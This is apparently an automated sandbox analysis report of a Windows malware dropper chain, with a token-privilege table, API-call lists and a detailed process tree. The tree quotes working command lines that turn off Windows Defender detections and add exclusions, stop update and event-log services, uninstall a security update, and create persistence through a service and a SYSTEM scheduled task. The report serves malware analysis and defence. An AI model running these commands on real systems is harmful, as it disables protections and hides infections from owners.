Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeShutdownPrivilege	1712	chrome.exe
Token: SeDebugPrivilege	3932	drivermanager.exe
Token: SeDebugPrivilege	3412	da_protected.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	3172	powershell.exe
Token: SeIncreaseQuotaPrivilege	3308	WMIC.exe
Token: SeSecurityPrivilege	3308	WMIC.exe
Token: SeTakeOwnershipPrivilege	3308	WMIC.exe
Token: SeLoadDriverPrivilege	3308	WMIC.exe
Token: SeSystemProfilePrivilege	3308	WMIC.exe
Token: SeSystemtimePrivilege	3308	WMIC.exe
Token: SeProfSingleProcessPrivilege	3308	WMIC.exe
Token: SeIncBasePriorityPrivilege	3308	WMIC.exe
Token: SeCreatePagefilePrivilege	3308	WMIC.exe
Token: SeBackupPrivilege	3308	WMIC.exe
Token: SeRestorePrivilege	3308	WMIC.exe
Token: SeShutdownPrivilege	3308	WMIC.exe
Token: SeDebugPrivilege	3308	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3308	WMIC.exe
Token: SeRemoteShutdownPrivilege	3308	WMIC.exe
Token: SeUndockPrivilege	3308	WMIC.exe
Token: SeManageVolumePrivilege	3308	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe5e51633b83.exece412bbc54.exechrome.exe

pid	process
2104	0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe
2028	5e51633b83.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1712	chrome.exe
1712	chrome.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

ce412bbc54.exechrome.exe

pid	process
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1712	chrome.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe
1576	ce412bbc54.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exeexplortu.exe5e51633b83.exece412bbc54.exechrome.exe

description	pid	process	target process
PID 2104 wrote to memory of 2900	2104	0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe	explortu.exe
PID 2104 wrote to memory of 2900	2104	0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe	explortu.exe
PID 2104 wrote to memory of 2900	2104	0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe	explortu.exe
PID 2104 wrote to memory of 2900	2104	0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe	explortu.exe
PID 2900 wrote to memory of 2792	2900	explortu.exe	explortu.exe
PID 2900 wrote to memory of 2792	2900	explortu.exe	explortu.exe
PID 2900 wrote to memory of 2792	2900	explortu.exe	explortu.exe
PID 2900 wrote to memory of 2792	2900	explortu.exe	explortu.exe
PID 2900 wrote to memory of 2792	2900	explortu.exe	explortu.exe
PID 2900 wrote to memory of 2792	2900	explortu.exe	explortu.exe
PID 2900 wrote to memory of 2792	2900	explortu.exe	explortu.exe
PID 2900 wrote to memory of 2792	2900	explortu.exe	explortu.exe
PID 2900 wrote to memory of 2792	2900	explortu.exe	explortu.exe
PID 2900 wrote to memory of 2792	2900	explortu.exe	explortu.exe
PID 2900 wrote to memory of 2792	2900	explortu.exe	explortu.exe
PID 2900 wrote to memory of 2792	2900	explortu.exe	explortu.exe
PID 2900 wrote to memory of 2792	2900	explortu.exe	explortu.exe
PID 2900 wrote to memory of 2028	2900	explortu.exe	5e51633b83.exe
PID 2900 wrote to memory of 2028	2900	explortu.exe	5e51633b83.exe
PID 2900 wrote to memory of 2028	2900	explortu.exe	5e51633b83.exe
PID 2900 wrote to memory of 2028	2900	explortu.exe	5e51633b83.exe
PID 2028 wrote to memory of 1896	2028	5e51633b83.exe	axplong.exe
PID 2028 wrote to memory of 1896	2028	5e51633b83.exe	axplong.exe
PID 2028 wrote to memory of 1896	2028	5e51633b83.exe	axplong.exe
PID 2028 wrote to memory of 1896	2028	5e51633b83.exe	axplong.exe
PID 2900 wrote to memory of 816	2900	explortu.exe	a08da68092.exe
PID 2900 wrote to memory of 816	2900	explortu.exe	a08da68092.exe
PID 2900 wrote to memory of 816	2900	explortu.exe	a08da68092.exe
PID 2900 wrote to memory of 816	2900	explortu.exe	a08da68092.exe
PID 2900 wrote to memory of 1576	2900	explortu.exe	ce412bbc54.exe
PID 2900 wrote to memory of 1576	2900	explortu.exe	ce412bbc54.exe
PID 2900 wrote to memory of 1576	2900	explortu.exe	ce412bbc54.exe
PID 2900 wrote to memory of 1576	2900	explortu.exe	ce412bbc54.exe
PID 1576 wrote to memory of 1712	1576	ce412bbc54.exe	chrome.exe
PID 1576 wrote to memory of 1712	1576	ce412bbc54.exe	chrome.exe
PID 1576 wrote to memory of 1712	1576	ce412bbc54.exe	chrome.exe
PID 1576 wrote to memory of 1712	1576	ce412bbc54.exe	chrome.exe
PID 1712 wrote to memory of 2700	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2700	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2700	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe
PID 1712 wrote to memory of 2840	1712	chrome.exe	chrome.exe

C:\Users\Admin\AppData\Local\Temp\0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe
"C:\Users\Admin\AppData\Local\Temp\0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2104

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
"C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2900

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
"C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2792

C:\Users\Admin\1000015002\5e51633b83.exe
"C:\Users\Admin\1000015002\5e51633b83.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2028

C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
"C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe"
4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1896

C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe
"C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2952

C:\Users\Admin\AppData\Local\Temp\onefile_2952_133633964079776000\stub.exe
"C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2404

C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe
"C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe"
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2552

C:\Users\Admin\AppData\Local\Temp\1000008001\upd.exe
"C:\Users\Admin\AppData\Local\Temp\1000008001\upd.exe"
5⤵
- Executes dropped EXE
PID:3108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3108 -s 52
6⤵
- Loads dropped DLL
- Program crash
PID:3156

C:\Users\Admin\AppData\Local\Temp\1000025001\deep.exe
"C:\Users\Admin\AppData\Local\Temp\1000025001\deep.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3344

C:\Users\Admin\AppData\Local\Temp\da_protected.exe
"C:\Users\Admin\AppData\Local\Temp\da_protected.exe"
6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:3412

C:\Users\Admin\AppData\Local\Temp\parbre.exe
"C:\Users\Admin\AppData\Local\Temp\parbre.exe"
7⤵
- Executes dropped EXE
- Modifies system certificate store
PID:3532

C:\Users\Admin\AppData\Local\Temp\setup.exe
setup.exe
8⤵
- Executes dropped EXE
PID:5096

C:\Users\Admin\AppData\Local\Temp\setup-da26aed63af57502\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup-da26aed63af57502\setup.exe"
9⤵
- Executes dropped EXE
PID:3864

C:\Users\Admin\AppData\Local\Temp\setup.exe
setup.exe
8⤵
- Executes dropped EXE
PID:4248

C:\Users\Admin\AppData\Local\Temp\setup-90c43c51ca7d8b8d\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup-90c43c51ca7d8b8d\setup.exe"
9⤵
- Executes dropped EXE
PID:2528

C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exe
"C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exe"
5⤵
- Executes dropped EXE
PID:3644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 84
6⤵
- Loads dropped DLL
- Program crash
PID:3680

C:\Users\Admin\AppData\Local\Temp\1000047001\lummac2.exe
"C:\Users\Admin\AppData\Local\Temp\1000047001\lummac2.exe"
5⤵
- Executes dropped EXE
PID:3772

C:\Users\Admin\AppData\Local\Temp\1000063001\drivermanager.exe
"C:\Users\Admin\AppData\Local\Temp\1000063001\drivermanager.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:3932

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
6⤵
PID:3440

C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exe
"C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
PID:4064

C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
"C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:3572

C:\Users\Admin\AppData\Local\Temp\1000003001\b2c2c1.exe
"C:\Users\Admin\AppData\Local\Temp\1000003001\b2c2c1.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
PID:3728

C:\Users\Admin\AppData\Local\Temp\e221f72865\Dctooux.exe
"C:\Users\Admin\AppData\Local\Temp\e221f72865\Dctooux.exe"
8⤵
- Executes dropped EXE
PID:2120

C:\Users\Admin\AppData\Local\Temp\1000005001\setup.exe
"C:\Users\Admin\AppData\Local\Temp\1000005001\setup.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2988

C:\Users\Admin\AppData\Local\Temp\7zSF6CD.tmp\Install.exe
.\Install.exe
8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:872

C:\Users\Admin\AppData\Local\Temp\7zSF92E.tmp\Install.exe
.\Install.exe /wdidg "385119" /S
9⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
PID:1460

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
10⤵
PID:2064

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
11⤵
PID:3004

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
12⤵
PID:2812

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
13⤵
PID:2576

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
11⤵
PID:2880

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
12⤵
PID:1008

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
13⤵
PID:1048

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
11⤵
PID:2288

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
12⤵
PID:584

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
13⤵
PID:1208

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
11⤵
PID:2740

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
12⤵
PID:2592

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
13⤵
PID:1656

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
11⤵
PID:2968

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
12⤵
PID:1552

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
13⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1700

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
14⤵
PID:4092

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
10⤵
PID:3856

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
11⤵
PID:4020

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
12⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3172

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
13⤵
- Suspicious use of AdjustPrivilegeToken
PID:3308

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bRfJDuKmNsszhfPRJj" /SC once /ST 22:35:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\sDDZMCt.exe\" oU /gbrdidkG 385119 /S" /V1 /F
10⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:2128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1460 -s 688
10⤵
- Program crash
PID:3000

C:\Users\Admin\AppData\Local\Temp\1000006001\FirstZ.exe
"C:\Users\Admin\AppData\Local\Temp\1000006001\FirstZ.exe"
7⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:3196

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
8⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1844

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
8⤵
PID:3528

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
9⤵
- Drops file in Windows directory
PID:3320

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
8⤵
- Launches sc.exe
PID:3440

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
8⤵
- Launches sc.exe
PID:3492

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
8⤵
- Launches sc.exe
PID:3576

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
8⤵
- Launches sc.exe
PID:3620

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
8⤵
- Launches sc.exe
PID:3812

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
8⤵
- Power Settings
PID:1716

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
8⤵
- Power Settings
PID:1200

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
8⤵
- Power Settings
PID:2992

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
8⤵
- Power Settings
PID:1568

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "WSNKISKT"
8⤵
- Launches sc.exe
PID:2844

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
8⤵
- Launches sc.exe
PID:4224

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
8⤵
- Launches sc.exe
PID:4280

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "WSNKISKT"
8⤵
- Launches sc.exe
PID:1088

C:\Users\Admin\AppData\Local\Temp\1000009001\setup.exe
"C:\Users\Admin\AppData\Local\Temp\1000009001\setup.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3716

C:\Users\Admin\AppData\Local\Temp\7zS2F5A.tmp\Install.exe
.\Install.exe
8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2140

C:\Users\Admin\AppData\Local\Temp\7zS311E.tmp\Install.exe
.\Install.exe /Rdprdidxe "385134" /S
9⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
PID:3140

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
10⤵
PID:4312

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
11⤵
PID:4336

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
12⤵
PID:4344

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
13⤵
PID:4352

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
11⤵
PID:4360

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
12⤵
PID:4368

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
13⤵
PID:4376

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
11⤵
PID:4396

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
12⤵
PID:4432

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
13⤵
PID:4440

